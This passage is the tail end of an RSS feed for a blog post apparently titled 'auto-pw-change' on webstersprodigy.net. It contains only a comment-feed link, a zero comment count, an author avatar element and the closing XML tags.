			<wfw:commentRss>http://webstersprodigy.net/2009/11/13/auto-pw-change/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
	</channel>
</rss>
